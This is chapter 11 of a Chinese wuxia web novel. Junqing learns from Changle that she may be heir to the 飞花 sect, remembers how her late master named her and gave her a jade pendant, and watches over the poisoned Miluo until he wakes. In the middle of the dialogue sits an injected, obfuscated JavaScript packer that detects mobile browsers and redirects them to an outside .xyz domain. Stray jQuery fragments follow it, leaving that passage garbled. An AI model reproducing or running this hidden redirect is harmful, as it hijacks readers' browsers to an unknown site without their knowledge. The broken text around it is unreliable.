11. 玉佩

作品:《飞花

    “什么?”


    长乐倒完茶,不紧不慢收回了手,她像是不解君卿为何讶然,只是重复道:“我与少主都是飞花的人。”


    飞花。


    又是飞花。这个从她出岭南,到长安,遇到小福,救下汨罗,如今见到取琴之人长乐,无一不与其有联系。


    君卿细想了片刻,起身便长乐躬身行了一礼:“在下有许多问题,不知可否请长乐姑娘答疑解惑?”


    长乐果真如她所想的那般,不论自己是真少主也好,还是假棋子也罢,如她这不染一尘的性格,那半跪已全了所有的恩义。


    长乐施施然坐着,受了她一礼:“少主但问无妨。”


    君卿问道:“既然姑娘说自己是取琴之人,那么请问半月前由长安送至岭南的那封信是出自姑娘之手吗?”


    长乐未曾看她,只是端坐着轻轻一点头。


    “那信中所说,我师父——”


    提及此处,翻涌而上的情绪哽住了她的喉头,君卿顿了一瞬才接着问道,“信上说我师父已经病逝,他的家人因不忍师父旧物流落在外,故而望我能将琴送至长安,请问姑娘与家师是——”


    “旧友。”


    君卿不信:“长乐姑娘看起来年龄与我相仿,和家师如何称之为旧友?”


    长乐视线飘落在她身上:“我比你年长五岁,与……与你师父从前一同受过掌门教诲,旧日相识,自是旧友。”


    君卿缄口不语,教习过师父的那位,她曾在师父醉酒后呓语过几次,那是他清醒时从来不曾提起,即使她百般纠缠追问,也撬不出来一个字的人与过去。


    “那……‘季笙’是他的真名吗?”


    “‘季笙’是他的一个身份。”


    君卿思之又不免劳神伤心,只好强迫自己换个方向,她摩挲着手中的玉佩,问道:“飞花现如今掌教之人是谁?姑娘说此物本就是我的,却又说见此物如见掌门,那么我与这位掌门之间有何联系?”


    长乐并未即可应答,她抬手翻起空杯,给自己也倒了一杯茶,抿了几口后,才看向君卿的眼睛。


    那双眼睛,分明是一双美目流转的桃花眼,如今她定定地看着自己,那黑沉沉的瞳仁仿佛是深山古寺中的一口井,折射不出一点光来。


    看得君卿几乎心口一紧,她听见长乐开口应道:“飞花如今无掌教之人,如果我查得的消息无误,少主与掌门应当是血缘至亲。”


    这一消息砸得君卿耳鸣心跳,她瞬间想到自己梦中一直呼唤着的那个称呼,那个入梦劝她醒来的人……


    “你是说……”


    “十年前掌门临终时将她唯一的女儿托于心腹,年岁身世与少主大抵都对的上。”


    君卿的手几乎都要颤抖起来,随后又想到什么,镇定道:“不对,十年前,我应当已经记事,可是我全然没有印象,长乐姑娘可能找错人了。”


    长乐垂下了眼,她那直勾勾的视线也随之消散。


    “可能中间出了什么问题,不过既然玉佩在你手中,长乐还请少主能够担起重振飞花的责任——”


    她顿了一瞬,补充道:“想必少主已经对飞花现如今的所作所为略有耳闻,可十年前,飞花作为江湖第一组织,远不是这番光景。”


    君卿看着手中的玉佩,不由得想起自己拜师时的场景——


    她自小开蒙就比旁人人晚,身体羸弱不堪,总是生病,八岁估摸着有五六年都是躺在病榻上度过。


    那个白衣身影,没日没夜地照料她,她都依稀记得,后来等她神志稍微清醒了些,那人就每日给她梳洗,带她在院子里一步步走着锻炼身体。


    她那个时候不知道自己是谁,在哪里,但是面前的这个男人,面目俊朗,总是笑意盈盈地牵着她的手,她便也一日日放下心防。


    直到有一天,她坐在铜镜前,看着身后的男人手忙脚乱地用红绳给她绾发髻,足足忙活了有半个时辰,才稍微有个模样。


    那男人很是满意地将她转了个圈,点头道:“不错,甚是喜庆!”


    她故意摇了摇头,那发髻瞬间就散了。


    她睁着无辜的大眼睛看着他,期待他的反应,却没想到紧接着就又被按回了铜镜前,坐了足足一个时辰才起身。


    “这次我可是用了十足的力气,你就是翻十个跟头也保准掉不了!”


    她自觉这人好幼稚,哼了一声没理。


    却见那人从怀里掏出块玉佩,在她面前晃了晃:“我看你今日兴致不错,这样,我这里有一件宝贝,你若是开口叫我一声师父,它就归你了。”


    那块玉佩实乃美玉,而且她也不知为何一见着便觉心中万般情绪直涌心头,竟是看得呆住了,伸手就要来拿。


    那人见状刚想说什么,而后又若有所思了片刻,道:“我给你取个名字可好?”


    “君卿。君子的君,卿本佳人的卿。”


    她不解,也不识得这两个字,只是照葫芦画瓢问道:“何为君子……何为佳人……”


    那人笑着将玉佩挂在她的脖子上,道:“君子啊,就是我。佳人呢,那自然就是你啦!”


    “小君卿,快叫师父!”


    自此,她便有了名字。旁人轻声一唤,都觉得有念力在心。


    只是,想让自己叫师父,门都没有!


    君卿得了宝贝就往外跑,那男子几步追上将她揽在怀里,足尖一点上了树,二人轻轻往横出的树干上一靠,满枝头的梨花轻轻一颤,落英缤纷,煞是好看。


    君卿看呆了,那人一刮自己的鼻子,笑道:“小君卿,叫师父,叫了为师就传你此招。”


    她最开始习武,都是被他诓骗能够日行千里,见山观海,后来遇到几次歹徒出手也不过是为了护他周全。


    她一直想同他一样,做个潇洒恣意的江湖侠客,红尘中做伴,相携到老。


    重振门派,不是靠蛮力,靠一个人就可以的,这其中庄庄件件都是人命关天的暴行,想要此刻悬崖勒马,改头换面,谈何容易。


    这漫长的静默中,长乐也未再开口,她在等她的答案。


    “……我师父葬在何处?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966520|161268||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    长乐饮了一杯茶:“香山西面,若你想要祭拜,我可以带你去。”


    君卿躬身又行一礼:“多谢姑娘,我的问题已经问完。”


    长乐放下了杯子起身,离去前,视线落在床上生死未卜的汨罗身上,意有所指道:“只有你接手了飞花,才不会有很多人像他这般,为了个生身自由硬搭上自己的一条命。”


    君卿的视线也落在汨罗身上,她沉默着没有回答,只是转身行礼去送她。


    君卿守了汨罗一夜,未曾敢睡去,小福帮她后背重新上了药,也一同守了她一夜。


    烛火晃动,君卿看着他的脸,会不自觉在想,师父临行前是不是也是这样,苍白脆弱地躺着,身边可也有人守着,病痛折磨着昏迷的人,希望与未知折磨着等待的人。


    汨罗会不会也像他那样,于某个不为人知的时刻,呼出了他身体中的最后一口气。


    一个人便从这世界上消失了。


    自此,阴阳两隔。


    这一夜,烛火燃了一夜,红色的蜡泪滴在青色的烛台上,像是浴火的凤凰,翙翙其羽。


    君卿因身上本就有伤,为汨罗疗伤又损耗过多,接近天明时再也撑不住,倒在他身侧,半趴着昏了过去。


    她的手正砸在汨罗的手背上。


    小福吓了一跳,惊叫了声师父。


    这一声,没叫醒君卿,倒是喊醒了床上的另一个人。


    汨罗动了动手指,勉强睁开眼睛,烛火映着银白日光,在他手边那个身影上斑斓出如嫣霞光。


    九死一生。


    中了化神散,还能活过来,可想而知,救他的人花了多大代价。


    “汨罗哥哥!你醒了!”小福一时间又惊又喜,颠倒间竟又去喊君卿,“师父!汨罗哥哥醒了!师父!”


    见君卿没应声,小福才又如梦初醒,她是真的昏过去了,仓惶间只来得及撂下一句“我去请大夫”便奔出了门。


    满室寂静,唯有他们二人。


    汨罗胸膛剧烈起伏着,他挪动了手指轻轻勾住了那个人的指尖,眼角溢出了一线热泪来。


    浮生若梦,为欢几何?


    汨罗闭上眼睛,缓缓收拢掌心,他这一生,本就是不被人接受。


    纵使李姓又如何,他宁愿自己生于寻常百姓人家,乡野之间,与田与牛与风与草为伴,干的是踏实的庄稼活,过的是无忧的寻常一生。


    总好过,腥风血雨,囿于方寸一辈子。


    他还要谢谢林锐的化神散,自此他的一身功力都尘归尘,土归土,自此他与飞花再无瓜葛。


    是生是死,全交于那掌心中人。


    君卿梦中惊惧,又见离人,她下意识一抓,竟牢牢攥住了汨罗的手!


    四目相对的瞬间,她晃了神,直扑倒在他怀中嚎啕哭出了声:“你没死……你没有死……”


    哭得汨罗惊惶不已,忙伸手抚着她的背帮她顺气,无限柔情自她那落下的热泪晕进他的心扉。


    “我没死。”


    “君卿……我没死……”